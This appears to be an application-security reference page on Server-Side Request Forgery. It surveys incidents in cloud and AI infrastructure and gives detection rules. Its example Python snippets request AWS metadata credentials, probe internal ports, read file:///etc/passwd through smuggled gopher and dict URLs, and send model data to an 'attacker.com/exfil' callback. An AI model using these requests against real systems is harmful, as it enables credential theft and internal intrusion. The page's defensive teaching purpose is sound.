Skip to content

Server-Side Request Forgery (SSRF)

Server-Side Request Forgery (SSRF) is a technique where attackers manipulate a server into making HTTP requests to arbitrary destinations. In the context of application security, SSRF vulnerabilities arise when an application accepts user-supplied URLs or resource identifiers without proper validation. Attackers can exploit these vulnerabilities to access internal services, exfiltrate data, or pivot to other systems by forcing the server to make malicious requests that appear legitimate since they originate from a trusted source. This technique is particularly dangerous in cloud and microservices environments where internal services often have implicit trust relationships and reduced security controls for requests originating from within the same network. The rise of AI/ML infrastructure has introduced new SSRF attack vectors through model serving frameworks and training pipelines.

Examples in the Wild

Notable SSRF Exploits:

ShellTorch (CVE-2023-43654) The ShellTorch attack demonstrated sophisticated SSRF exploitation in AI infrastructure through PyTorch's TorchServe framework. Attackers chained SSRF with YAML deserialization vulnerabilities to achieve remote code execution and data exfiltration from model serving infrastructure. The attack affected major cloud AI platforms including Google Cloud AI Platform, Amazon SageMaker, and Microsoft Azure ML, highlighting how SSRF can be used to compromise machine learning infrastructure.

ShadowRay Attack The ShadowRay attack leveraged SSRF vulnerabilities in Ray's distributed training infrastructure to pivot between training nodes and exfiltrate model data. Attackers exploited Ray's internal communication channels to access sensitive training data and proprietary models, demonstrating how SSRF can be used to compromise AI training pipelines.

Ultralytics Model Registry Compromise The Ultralytics attack included SSRF components that allowed attackers to access internal model registry services. By exploiting SSRF vulnerabilities in the model loading process, attackers could access and modify model artifacts, leading to widespread model poisoning across the YOLOv8 ecosystem.

Capital One Data Breach (2019) The Capital One breach leveraged SSRF to access AWS metadata services, allowing the attacker to retrieve IAM credentials from the EC2 instance metadata service (IMDS). This led to unauthorized access to over 100 million customer records. The attack highlighted the risks of SSRF in cloud environments where access to metadata services can lead to privilege escalation.

Dependency Confusion via SSRF Multiple supply chain attacks have used SSRF to exploit package managers and build systems. Attackers use SSRF to redirect package requests to malicious repositories or to exfiltrate build secrets by making requests to attacker-controlled endpoints during the build process.

Attack Mechanism

Common SSRF Exploitation Techniques:

  1. Cloud Metadata Service Access

    # AWS IMDS SSRF example
    def exploit_metadata():
        # Force server to request metadata
        url = "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
        response = requests.get(url)
        # Extract IAM credentials
        return response.json()
    

  2. Internal Service Discovery

    # Network scanning via SSRF
    def scan_internal_network(target_ip):
        ports = [80, 443, 8080, 8443]
        for port in ports:
            url = f"http://{target_ip}:{port}"
            try:
                response = requests.get(url)
                if response.status_code == 200:
                    # Internal service found
                    map_service(url)
            except:
                pass
    

  3. Protocol Smuggling

    # Protocol smuggling via SSRF
    def smuggle_request():
        # Abuse URL parsing to access internal protocols
        urls = [
            "file:///etc/passwd",
            "gopher://localhost:6379/_SET%20key%20value",
            "dict://internal-service:11211/stat"
        ]
        for url in urls:
            try_access(url)
    

  4. ML Infrastructure Exploitation

    # AI platform SSRF exploitation
    def exploit_ml_platform():
        # Target model serving endpoint
        model_url = "http://internal-model-server/v1/models/target"
    
        # Exploit SSRF to access model data
        payload = {
            "url": "file:///path/to/model/weights",
            "callback": "http://attacker.com/exfil"
        }
    
        # Send malicious request
        response = requests.post(model_url, json=payload)
        return response.json()
    

Detection Challenges

Why Traditional Security Tools Fail:

  1. URL Parsing Complexity

    # URL parsing challenges
    malicious_urls:
      - "http://internal-service"
      - "http://127.0.0.1"
      - "http://localhost"
      - "http://2130706433"  # Decimal IP
      # How to identify all variants?
    

  2. Protocol Handling

    # Protocol validation issues
    allowed_protocols:
      - http: "validated"
      - https: "validated"
      - file: "blocked"
      # But what about gopher, dict, etc?
    

  3. Cloud Service Complexity

    # Cloud service detection
    service_requests:
      - metadata_service: "legitimate"
      - internal_api: "legitimate"
      - attacker_endpoint: "malicious"
      # How to differentiate?
    

  4. ML Infrastructure Specifics

    # ML service validation
    model_requests:
      - model_load: "legitimate"
      - weight_update: "legitimate"
      - data_exfil: "malicious"
      # How to validate ML-specific flows?
    

Required Application Security Strategy:

# SSRF prevention rules
- rule: "URL Validation"
  condition: |
    url.is_internal_resource OR
    url.accesses_metadata_service OR
    url.uses_non_http_protocol
  severity: critical

# Network request monitoring
- rule: "Request Pattern Analysis"
  condition: |
    request.destination_suspicious OR
    request.protocol_unexpected OR
    request.bypasses_proxy
  severity: high

# Service access control
- rule: "Service Boundary Control"
  condition: |
    service.accessed_from_unexpected_source OR
    service.metadata_access_without_token OR
    service.internal_endpoint_exposed
  severity: critical

# ML infrastructure protection
- rule: "ML Service Security"
  condition: |
    request.accesses_model_data OR
    request.modifies_model_weights OR
    request.suspicious_callback_url
  severity: critical

Key Detection Requirements:

  1. URL Validation
  2. Strict URL parsing and validation
  3. Internal network range checking
  4. Protocol whitelist enforcement

  5. Request Monitoring

  6. Network request tracking
  7. Protocol usage analysis
  8. Destination verification

  9. Service Protection

  10. Metadata service restrictions
  11. Internal service isolation
  12. Network segmentation enforcement

  13. ML-Specific Controls

  14. Model access validation
  15. Training data protection
  16. Inference endpoint security